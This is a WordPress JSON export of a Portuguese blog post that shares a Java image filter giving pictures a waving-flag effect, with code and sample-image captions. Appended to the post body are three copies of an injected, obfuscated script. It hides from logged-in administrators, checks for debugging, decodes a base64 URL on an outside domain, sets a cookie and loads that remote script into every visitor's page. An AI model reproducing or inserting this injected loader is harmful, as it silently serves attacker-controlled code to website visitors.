{"id":946,"date":"2011-01-16T13:31:43","date_gmt":"2011-01-16T15:31:43","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=946"},"modified":"2025-10-26T22:41:41","modified_gmt":"2025-10-27T01:41:41","slug":"filtro-de-bandeira-para-imagens","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/01\/16\/filtro-de-bandeira-para-imagens\/","title":{"rendered":"Filtro de bandeira para imagens"},"content":{"rendered":"<p style=\"text-align: justify;\">Devido ao artigo <a title=\"Quebrando CAPTCHAs\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/09\/26\/quebrando-captchas\/\" target=\"_blank\" rel=\"noopener\">\"Quebrando CAPTCHAs\"<\/a> recebi dezenas de e-mails querendo mais informa\u00e7\u00f5es de como eu fiz. Um dos pontos mais questionados foi a respeito do filtro de bandeira utilizado. Ent\u00e3o resolvi disponibilizar o filtro para quem tiver interesse.<\/p>\n<p style=\"text-align: justify;\">O filtro ainda est\u00e1 na sua vers\u00e3o alpha \ud83d\ude00 e ainda precisa de v\u00e1rias melhorias como a remo\u00e7\u00e3o de vari\u00e1veis desnecess\u00e1rias, passar oas vari\u00e1veis da fun\u00e7\u00e3o cosseno por par\u00e2metros, remo\u00e7\u00e3o da matrix de convers\u00e3o (n\u00e3o \u00e9 necess\u00e1ria) entre outros. Quem quiser colaborar \u00e9 s\u00f3 avisar.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo foi criar uma interface para implementa\u00e7\u00e3o de Filtros, pois estou utilizando essa mesma interface para outros filtros.<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\npackage br.com.thiagovespa.image.utils.filter;\n\nimport java.awt.image.BufferedImage;\n\n\/**\n * Interface \u00e0 ser utilizada em todos os filtros de imagem\n *\n * @author Thiago Galbiatti Vespa - &lt;a\n *         href=&quot;mailto:thiago@thiagovespa.com.br&quot;&gt;thiago@thiagovespa.com.br&lt;\/a&gt;\n * @version 1.0\n *\n *\/\npublic interface ImageFilter {\n\t\/**\n\t * Aplica o filtro \u00e0 imagem\n\t * @param src Imagem original\n\t * @return Imagem com o filtro aplicado\n\t *\/\n\tpublic BufferedImage applyTo(BufferedImage src);\n}\n\n<\/pre>\n<p style=\"text-align: justify;\">Ap\u00f3s isso criei a implementa\u00e7\u00e3o do filtro de bandeira. Lembrando novamente que esse \u00e9 apenas um primeiro prot\u00f3tipo, h\u00e1 algumas melhorias a serem feitas.<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\npackage br.com.thiagovespa.image.utils.filter;\n\nimport java.awt.image.BufferedImage;\nimport java.util.Arrays;\n\n\/**\n * Vers\u00e3o inicial do filtro de bandeira. Licenciado sob GPL:\n * http:\/\/www.gnu.org\/licenses\/gpl.html\n * \n * @author Thiago Galbiatti Vespa - &lt;a\n *         href=&quot;mailto:thiago@thiagovespa.com.br&quot;&gt;thiago@thiagovespa.com.br&lt;\/a&gt;\n * @version 0.6\n * \n *\/\npublic class FlagFilter implements ImageFilter {\n\n\tprivate boolean x;\n\tprivate boolean y;\n\n\t\/**\n\t * Construtor padr\u00e3o. O efeito \u00e9 aplicado no eixo x e y\n\t *\/\n\tpublic FlagFilter() {\n\t\tthis.x = true;\n\t\tthis.y = true;\n\t}\n\n\t\/**\n\t * Construtor que especifica onde aplicar o filtro\n\t * \n\t * @param x\n\t *            se verdadeiro aplica no eixo x\n\t * @param y\n\t *            se verdadeiro aplica no eixo y\n\t *\/\n\tpublic FlagFilter(boolean x, boolean y) {\n\t\tthis.x = x;\n\t\tthis.y = y;\n\t}\n\n\t@Override\n\tpublic BufferedImage applyTo(BufferedImage src) {\n\n\t\tint w = src.getWidth();\n\t\tint h = src.getHeight();\n\n\t\t\/\/ TODO: Remover uso de matrizes desnecess\u00e1rias\n\t\tint&#x5B;]&#x5B;] resultMatrix = new int&#x5B;w]&#x5B;h];\n\n\t\t\/\/ Copia para matriz\n\t\tfor (int i = 0; i &lt; w; i++) {\n\t\t\tfor (int j = 0; j &lt; h; j++) {\n\t\t\t\tint value = src.getRGB(i, j);\n\t\t\t\tresultMatrix&#x5B;i]&#x5B;j] = value;\n\t\t\t}\n\t\t}\n\n\t\tint&#x5B;] transformY = new int&#x5B;w];\n\n\t\tif (this.y) {\n\n\t\t\t\/\/ Cosseno horizontal\n\t\t\tfor (int i = 0; i &lt; w; i++) {\n\t\t\t\t\/\/ TODO: Colocar vari\u00e1veis como par\u00e2metro\n\t\t\t\tdouble x = (i \/ (double) (w - 1)) * 3 * Math.PI;\n\t\t\t\tdouble valor = 0.27 * (((Math.cos(x) + 1) * ((double) (h - 1) \/ 2.0)));\n\t\t\t\ttransformY&#x5B;i] = (int) valor;\n\t\t\t}\n\t\t}\n\t\tMinMaxReturn increment = getNormValue(transformY);\n\n\t\tint&#x5B;] transformX = new int&#x5B;h + increment.getDelta()];\n\n\t\tint&#x5B;]&#x5B;] transformMatrix = new int&#x5B;(w)]&#x5B;h + increment.getDelta()];\n\n\t\tfor (int i = 0; i &lt; w; i++) {\n\t\t\tArrays.fill(transformMatrix&#x5B;i], 0xffffff);\n\t\t\tfor (int j = 0; j &lt; h; j++) {\n\t\t\t\tint desloc = (j - transformY&#x5B;i]);\n\t\t\t\ttransformMatrix&#x5B;i]&#x5B;increment.getSum() + desloc] = resultMatrix&#x5B;i]&#x5B;j];\n\t\t\t}\n\t\t}\n\t\tif (this.x) {\n\n\t\t\t\/\/ Cosseno vertical\n\t\t\tfor (int i = 0; i &lt; h + increment.getDelta(); i++) {\n\t\t\t\t\/\/ TODO: Colocar vari\u00e1veis como par\u00e2metro\n\t\t\t\tdouble y = (i \/ (double) (h - 1)) * 1.5 * Math.PI + 16;\n\t\t\t\tdouble valor = (((2 * Math.cos(y) + 1) * ((double) (w - 1) \/ 2.0)) * 0.07) + 7;\n\t\t\t\ttransformX&#x5B;i] = (int) valor;\n\t\t\t}\n\t\t}\n\t\tMinMaxReturn incrementX = getNormValue(transformX);\n\n\t\tint&#x5B;]&#x5B;] transform2Matrix = new int&#x5B;(w + incrementX.getDelta())]&#x5B;h\n\t\t\t\t+ increment.getDelta()];\n\n\t\tfor (int i = 0; i &lt; transform2Matrix.length; i++) {\n\t\t\tArrays.fill(transform2Matrix&#x5B;i], 0xffffff);\n\t\t}\n\n\t\tfor (int j = h + increment.getDelta() - 1; j &gt;= 0; j--) {\n\n\t\t\tfor (int i = w - 1; i &gt;= 0; i--) {\n\t\t\t\tint desloc = (i - transformX&#x5B;j]);\n\t\t\t\ttransform2Matrix&#x5B;incrementX.max + desloc]&#x5B;j] = transformMatrix&#x5B;i]&#x5B;j];\n\t\t\t}\n\t\t}\n\n\t\tint&#x5B;] resultImage = new int&#x5B;(w + incrementX.getDelta())\n\t\t\t\t* (h + increment.getDelta())];\n\n\t\t\/\/ Matrix de convers\u00e3o\n\t\tfor (int i = 0; i &lt; transform2Matrix.length; i++) {\n\t\t\tfor (int j = 0; j &lt; transform2Matrix&#x5B;0].length; j++) {\n\t\t\t\tresultImage&#x5B;j * (transform2Matrix.length) + i] = transform2Matrix&#x5B;i]&#x5B;j];\n\t\t\t}\n\t\t}\n\t\tBufferedImage dest = new BufferedImage(transform2Matrix.length,\n\t\t\t\ttransform2Matrix&#x5B;0].length, BufferedImage.TYPE_INT_RGB);\n\n\t\tdest.setRGB(0, 0, transform2Matrix.length, transform2Matrix&#x5B;0].length,\n\t\t\t\tresultImage, 0, transform2Matrix.length);\n\n\t\treturn dest;\n\t}\n\n\tclass MinMaxReturn {\n\t\tint min;\n\t\tint max;\n\n\t\tint getDelta() {\n\t\t\treturn max - min;\n\t\t}\n\n\t\tint getSum() {\n\t\t\treturn max + min;\n\t\t}\n\t}\n\n\t\/\/ TODO: Colocar esse m\u00e9todo em classe utilit\u00e1ria\n\tprivate MinMaxReturn getNormValue(int&#x5B;] numbers) {\n\t\tMinMaxReturn ret = new MinMaxReturn();\n\t\tret.max = numbers&#x5B;0];\n\t\tret.min = numbers&#x5B;0];\n\t\tfor (int i = 1; i &lt; numbers.length; i++) {\n\t\t\tif (numbers&#x5B;i] &gt; ret.max) {\n\t\t\t\tret.max = numbers&#x5B;i];\n\t\t\t}\n\t\t\tif (numbers&#x5B;i] &lt; ret.min) {\n\t\t\t\tret.min = numbers&#x5B;i];\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t}\n\n}\n<\/pre>\n<p style=\"text-align: justify;\">Agora para utilizar \u00e9 s\u00f3 instanciar o filtro e chamar o m\u00e9todo applyTo passando a imagem a ser alterada.<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\nImageFilter flagFilter = new FlagFilter(true,true);\nBufferedImage flaggedImage = flagFilter.applyTo(ci.getImage());\n<\/pre>\n<p style=\"text-align: justify;\">Fiz outro teste com a bandeira do Brasil.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_950\" aria-describedby=\"caption-attachment-950\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/bandeira_do_brasil.jpg\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-950 \" title=\"Bandeira do Brasil\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/bandeira_do_brasil-300x209.jpg\" alt=\"Bandeira do Brasil\" width=\"300\" height=\"209\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/bandeira_do_brasil-300x209.jpg 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/bandeira_do_brasil.jpg 473w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-950\" class=\"wp-caption-text\">Bandeira do Brasil<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Aplicando somente ao eixo x temos o seguinte:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_957\" aria-describedby=\"caption-attachment-957\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoX.jpg\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-957 \" title=\"FlagFilter - Eixo X\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoX-300x184.jpg\" alt=\"FlagFilter - Eixo X\" width=\"300\" height=\"184\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoX-300x184.jpg 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoX.jpg 340w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-957\" class=\"wp-caption-text\">FlagFilter - Eixo X<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Aplicando somente ao eixo y temos o seguinte:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_958\" aria-describedby=\"caption-attachment-958\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoY.jpg\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-958 \" title=\"FlagFilter - Eixo Y\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoY.jpg\" alt=\"FlagFilter - Eixo Y\" width=\"300\" height=\"265\" \/><\/a><figcaption id=\"caption-attachment-958\" class=\"wp-caption-text\">FlagFilter - Eixo Y<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">E aplicando aos dois eixos temos o seguinte:<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_959\" aria-describedby=\"caption-attachment-959\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoXY.jpg\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-959 \" title=\"FlagFilter - Eixo X e Y\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoXY-300x233.jpg\" alt=\"FlagFilter - Eixo X e Y\" width=\"300\" height=\"233\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoXY-300x233.jpg 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/EixoXY.jpg 341w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-959\" class=\"wp-caption-text\">FlagFilter - Eixo X e Y<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Agora \u00e9 s\u00f3 utilizar no seu projeto e se fizer algum melhoria no c\u00f3digo \u00e9 s\u00f3 me avisar que atualizo o post.<\/p>\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Devido ao artigo \"Quebrando CAPTCHAs\" recebi dezenas de e-mails querendo mais informa\u00e7\u00f5es de como eu fiz. Um dos pontos mais questionados foi a respeito do filtro de bandeira utilizado. Ent\u00e3o resolvi disponibilizar o filtro para quem tiver interesse. O filtro <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/01\/16\/filtro-de-bandeira-para-imagens\/\">Continue lendo  <span class=\"screen-reader-text\">  Filtro de bandeira para imagens<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-946","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/946","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=946"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/946\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=946"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=946"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=946"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}